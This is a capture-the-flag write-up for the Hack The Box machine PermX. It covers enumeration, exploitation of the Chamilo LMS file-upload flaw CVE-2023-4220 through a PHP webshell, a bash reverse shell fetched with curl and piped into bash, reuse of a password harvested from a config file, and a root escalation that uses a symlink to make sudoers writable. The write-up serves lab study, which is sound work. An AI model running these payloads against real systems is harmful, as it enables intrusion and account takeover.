PermX writeup banner

PermX

Hack The Box Machine Writeup

Summary

Permx was an easy Linux box with a user step that focused on a file upload CVE and lateral movement via finding passwords. The root step involves abusing link files and Linux file permissions. I found it to be a wonderful introduction to abusing the functionality of the Linux OS.

The path to obtaining User.txt starts off by enumerating an lms.permx.htb virtual host. This is hosting a Chamilo LMS instance that is vulnerable to an unauthenticated arbitrary file upload and RCE called CVE-2023-4220. This grants a shell as www-data and looking in the web configurations a password can be found. This can be used with the mtz user and SSH to obtain a shell and complete the user step.

The root section was a good introduction to exploiting Linux permissions and link files. There is a script that can be run with sudo perms that implements basic validation checks and changes the permissions of files. The validation can be bypassed using link files and this allows the attacker to set RWX permissions on any file on the system. I leveraged the sudoers file to add sudo rights to the mtz user and sudo -su to root and complete the machine.

Meanwhile, in Windows...

Meanwhile, in Windows...

User

Recon

Port scan with Nmap

I started off with a nmap port scan to see what services are running on the machine. I use the -sC flag to run default NSE enumeration scripts and -sV to run version enumeration. Running the command as sudo defaults to the Stealth Scan -sS type which is faster than the default connect scan run without sudo privileges.

sh
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo nmap -sC -sV 10.10.11.23                              
[sudo] password for kali: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-12 10:20 EDT
Nmap scan report for 10.10.11.23
Host is up (0.033s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_  256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://permx.htb
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.74 seconds

From the scan we can see SSH open on port 22 and an apache http web server on port 80 that shows a redirect to permx.htb. I added this to my /etc/hosts file for vhost resolution

sh
┌──(kali㉿kali)-[~/Desktop]
└─$ tail -n 1 /etc/hosts                                    
10.10.11.23 permx.htb

Wfuzz brute force scan for Vhosts

Whenever I come across a domain I like to always try and fuzz for additional vhosts or subdomains that may be present. In CTF boxes scanning for subdomains is not very common so I often just do a Vhost scan. Vhosts are like subdomains and allow a singular webserver to host more than one web application. It does this by routing the requests using the Host header

I run the command once to find the default response length and then filter that out based on word count with --hw 26.

sh
┌──(kali㉿kali)-[~/Desktop]
└─$ wfuzz -u http://permx.htb -H "Host:FUZZ.permx.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --hw 26 
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://permx.htb/
Total requests: 19966

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                              
=====================================================================

000000001:   200        586 L    2466 W     36182 Ch    "www"                                                
000000477:   200        1 L      7 W        147 Ch      "lms"                                                
000009532:   400        10 L     35 W       301 Ch      "#www"                                               
000010581:   400        10 L     35 W       301 Ch      "#mail"                                              

Total time: 69.05353
Processed Requests: 19966
Filtered Requests: 19962
Requests/sec.: 289.1379

The brute force fuzz found www and lms. I will add www.permx.htb and lms.permx.htb to my /etc/host file. The response starting with # are false positives caused by the special character # throwing an error for a bad request.

sh
┌──(kali㉿kali)-[~/Desktop]
└─$ tail -n 1 /etc/hosts
10.10.11.23 permx.htb www.permx.htb lms.permex.htb

Web server enumeration permx.htb

www often is tied to the same site as without the www which is the case here. www is a holdover from an older internet. Visiting perx.htb displays a site for some form of a learning platform.

There are too many learning platforms, change my mind

There are too many learning platforms, change my mind

The about tab leads to about.html which has some basic company information

About pages often contain useful hints in CTF machines and are worth checking out

About pages often contain useful hints in CTF machines and are worth checking out

The courses tab displays some course information but all the links simply return back to the courses page.

Always make sure to enumerate as much as possible

Always make sure to enumerate as much as possible

The pages tab has a drop down for our team testimonial and 404. These all link to a respective HTML page but none contain anything that will help further our access.

The contact page contains a basic contact form and an email permx@htb. looking through burp or the browsers dev tools the contact form does not appear to be functioning as it simply reloads the page without sending any data.

Contact pages are goldmines for finding emails and sending potential phishing messages

Contact pages are goldmines for finding emails and sending potential phishing messages

Me every day of university

Me every day of university

At this point the next thing to do is a directory brute force scan to try and find hidden endpoints. My tool of choice for this is Feroxbuster.

sh
┌──(kali㉿kali)-[~/Desktop]
└─$ feroxbuster -u http://permx.htb/ -q
403      GET        9l       28w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter404      GET        9l       31w      271c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filterScanning: http://permx.htb/                                                         301      GET        9l       28w      303c http://permx.htb/js => http://permx.htb/js/
200      GET      238l      922w    13018c http://permx.htb/testimonial.html
200      GET        6l       64w     2936c http://permx.htb/lib/owlcarousel/assets/owl.carousel.min.css
200      GET        6l       80w     5378c http://permx.htb/img/testimonial-2.jpg
200      GET       14l       81w     5311c http://permx.htb/img/testimonial-1.jpg
200      GET      109l      205w     2698c http://permx.htb/js/main.js
200      GET        5l       69w     4677c http://permx.htb/img/testimonial-3.jpg
<...>
200      GET       35l      179w     5340c http://permx.htb/lib/owlcarousel/assets/ajax-loader.gif
200      GET       50l      141w     1301c http://permx.htb/lib/owlcarousel/assets/owl.theme.green.css
200      GET        0l        0w        0c http://permx.htb/lib/waypoints/links.php
200      GET      587l     2466w    36182c http://permx.htb/
Scanning: http://permx.htb/
Scanning: http://permx.htb/js/
Scanning: http://permx.htb/css/
Scanning: http://permx.htb/lib/animate/
Scanning: http://permx.htb/lib/owlcarousel/assets/
Scanning: http://permx.htb/img/
Scanning: http://permx.htb/lib/
Scanning: http://permx.htb/lib/owlcarousel/
Scanning: http://permx.htb/lib/wow/
Scanning: http://permx.htb/lib/easing/
Scanning: http://permx.htb/lib/waypoints/ 

This does not seem to find anything but the public JavaScripts and images.

lms.permx.htb

Up next is enumerating the lms vhost we found through fuzzing. Visiting the page appears to return a strange error string leaking the database version and OS. I don't know if this is intended behavior or not, as it is the same result through box resets.

Leaks the database version, thats nice

Leaks the database version, thats nice

Going to index.php however we are presented with a Login form for an application called Chamilo.

If something looks like a real world framework it is always good to check for CVE's

If something looks like a real world framework it is always good to check for CVE's

Chameleons are cool animals

Chameleons are cool animals

Before running a directory brute force it is a good habit to check the robots.txt file. This file contains allowed and disallowed endpoints and is consumed by web crawlers like google to control what gets indexed or not.

Many times robots.txt can contain 'hidden' endpoints or domains

Many times robots.txt can contain 'hidden' endpoints or domains

In this case we find a whole bunch of them. I will not show enumerating everything for brevity's sake but /app/ exposes all the files of the web application.

Public directory listing is never a good idea

Public directory listing is never a good idea

Going to the license.txt file we can confirm that the web application appears to be Chamilo LMS.

An example of why directory listing is dangerous

An example of why directory listing is dangerous

Chamilo LMS CVE-2023-4220

At this point without much else to attack I started to look for public exploits for the Chamilo LMS web application. After some googling I quickly came to (CVE-2023-3533) Chamilo LMS Unauthenticated Remote Code Execution via Arbitrary File Write. This contains a POC but downloading and following the instructions it does not seem to work.

There were a bunch of other CVEs I came across but (CVE-2023-4220) Chamilo LMS Unauthenticated Big Upload File Remote Code Execution was the one I had success with. The exploit conditions are that the /main/inc/lib/javascript/bigupload/files directory exists within the web root directory and is writable by the webserver.

We are in luck!

We are in luck!

We can now follow the POC steps provided by starlabs in the above link to exploit the vulnerability. First we make a malicious php file. Then we use the bigUpload function to upload it to the server. Lastly we need to make a request to the file we uploaded to run it and execute PHP code.

shell
┌──(kali㉿kali)-[~/Desktop]
└─$ echo '<?php system("id"); ?>' > rce.php
                                                                                                                      
┌──(kali㉿kali)-[~/Desktop]
└─$ curl -F 'bigUploadFile=@rce.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported' 
The file has successfully been uploaded.

┌──(kali㉿kali)-[~/Desktop]
└─$  curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php' 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell as www-data

Now that we have confirmed the vulnerability and have RCE it's time to get a reverse shell. I started by creating a webshell php payload and uploading that to the host in the same way as before. This will execute the code passed as the cmd parameter in the request.

sh
┌──(kali㉿kali)-[~/Desktop]
└─$ cat web.php 
<?php system($_GET['cmd']); ?>
                                                                                                                      
┌──(kali㉿kali)-[~/Desktop]
└─$ curl -F 'bigUploadFile=@web.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
The file has successfully been uploaded.   
                                                                                                                   
┌──(kali㉿kali)-[~/Desktop]
└─$ curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/web.php?cmd=id' 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Now I started an nc listener to catch the reverse shell. To bypass any problems with URL encoding the reverse shell payload I created a file on my attacking host called rev.sh containing a bash shell from revshells.com.

sh
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -lvnp 42069                                             
listening on [any] 42069 ...


┌──(kali㉿kali)-[~/Desktop]
└─$ cat rev.sh 
#! /bin/bash
bash -i >& /dev/tcp/10.10.14.154/42069 0>&1

Then started a Python HTTP server to host the file. To execute it I used curl to fetch the rev.sh file and then piped it into bash.

sh
┌──(kali㉿kali)-[~/Desktop]
└─$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

#palyoad to execute 
curl http://10.10.14.154:8000/rev.sh | bash

#plug into browser or use curl
http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/web.php?curl%20http://10.10.14.154:8000/rev.sh%20|%20bash
Don't forget about HTML encoding

Don't forget about HTML encoding

Nothing quite like catching shells!

Nothing quite like catching shells!

Script upgrade trick

Whenever I get a new shell I like to try to upgrade the TTY functionality to allow me to use the arrow keys and tab complete. To do this my go to way is abusing the script binary.

sh
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ script /dev/null -c bash                   
Script started, output log file is '/dev/null'.
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ ^Z
zsh: suspended  nc -lvnp 42069
                                                                                                                              
┌──(kali㉿kali)-[~/Desktop]
└─$ stty raw -echo;fg                         
[1]  + continued  nc -lvnp 42069
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$
Its like getting a pump at the gym

Its like getting a pump at the gym

Shell as mtz

Looking in the home directory we can see that there is one other user, mtz.

sh
www-data@permx:/home$ ls
mtz

We will need to move laterally to this user to get user.txt. Since we have a shell as www-data it is a good idea to try and see if we can get any credits from the configuration files of the web server.

In this case we can find a password 03F6lY3uXAP2bkW8 in the database connection settings of the /var/www/chamilo/app/config/configuration.php file.

sh
www-data@permx:/var/www/chamilo/app/config$ head -n 25 configuration.php 
<?php
// Chamilo version 1.11.24
// File generated by /install/index.php script - Sat, 20 Jan 2024 18:20:32 +0000
/* For licensing terms, see /license.txt */
/**
 * This file contains a list of variables that can be modified by the campus site's server administrator.
 * Pay attention when changing these variables, some changes may cause Chamilo to stop working.
 * If you changed some settings and want to restore them, please have a look at
 * configuration.dist.php. That file is an exact copy of the config file at install time.
 * Besides the $_configuration, a $_settings array also exists, that
 * contains variables that can be changed and will not break the platform.
 * These optional settings are defined in the database, now
 * (table settings_current).
 */

// Database connection settings.
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
// Enable access to database management for platform admins.
$_configuration['db_manager_enabled'] = false;

/**

Password reuse is very common so its a good idea to always try all the password and user combinations you can when you come across creds. In this case we have the mtz user and the password 03F6lY3uXAP2bkW8. sure enough this works with SSH to grant us a shell and grab user.txt.

sh
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh mtz@permx.htb    
The authenticity of host 'permx.htb (10.129.78.88)' can't be established.
ED25519 key fingerprint is SHA256:u9/wL+62dkDBqxAG3NyMhz/2FTBJlmVC1Y1bwaNLqGA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes 
Warning: Permanently added 'permx.htb' (ED25519) to the list of known hosts.
mtz@permx.htb's password: 03F6lY3uXAP2bkW8
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-113-generic x86_64)
<...>
mtz@permx:~$ cat user.txt
80c775b5899036571250c9603d1bf5df
Every freaking time!

Every freaking time!

Root

Enumeration

Right away by enumerating sudo permissions with sudo -l we can discover that the mtz user can run /opt/acl.sh as root.

bash
mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh

acl.sh

Looking at the bash script we can see that it is fairly basic. It starts by parsing user arguments and throws an error if there are not 3 passed.

bash
#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

It then does some verification to ensure the target parameter is not equal to /home/mtz/\* or that it is equal to _.._. stars represent wildcards in bash so this basically is making sure that the target parameter is a file inside the /home/mtz/.

bash
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

The last check the script does it so make sure the target is a file, if not it will throw an error.

sh
# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

The next part is the import part of the script, it uses sudo to modify the Access Control List permissions of the target file to the user and permissions we passed as arguments to the script. This means that if we set the user as mtz and the permission as read/write/execute on a file we can get full control over it.

Linux has a better permission system than Microsoft, fight me

Linux has a better permission system than Microsoft, fight me

The trick here is bypassing the filtering that checks that the target file is in the /home/mtz users directory. This can be done using a link file. A link file is like a shortcut in windows, it simply links one location to another such that when the link is opened it points to the other location.

We can abuse this by creating a link file in the mtz users directory that points to the root file directory. This will pass the verification required by the script and when the last command is run we can change the permissions of any file. Here I decided to grant read, write and execute permissions to the sudoers file.

sh
mtz@permx:~$ ln -s / root
mtz@permx:~$ sudo /opt/acl.sh mtz rwx /home/mtz/root/etc/sudoers
mtz@permx:~$ nano /etc/sudoers

Now we can add the mtz user to the sudoers file with nano or vim and sudo su to gain a shell as root, completing the machine. Be sure to be quick as the machine seems to have a cleanup script that is autorun every couple of minutes.

sh
# User privilege specification
root    ALL=(ALL:ALL) ALL
mtz     ALL=(ALL:ALL) ALL


mtz@permx:~$ sudo su
[sudo] password for mtz:03F6lY3uXAP2bkW8
root@permx:~# cat root.txt
f073e91071537075b212e7a0f58c2e53
Another box bites the dust, well done fren!

Another box bites the dust, well done fren!

Additional Resources

Ippsec video walkthrough

0xdf Writeup

0xdf.gitlab.io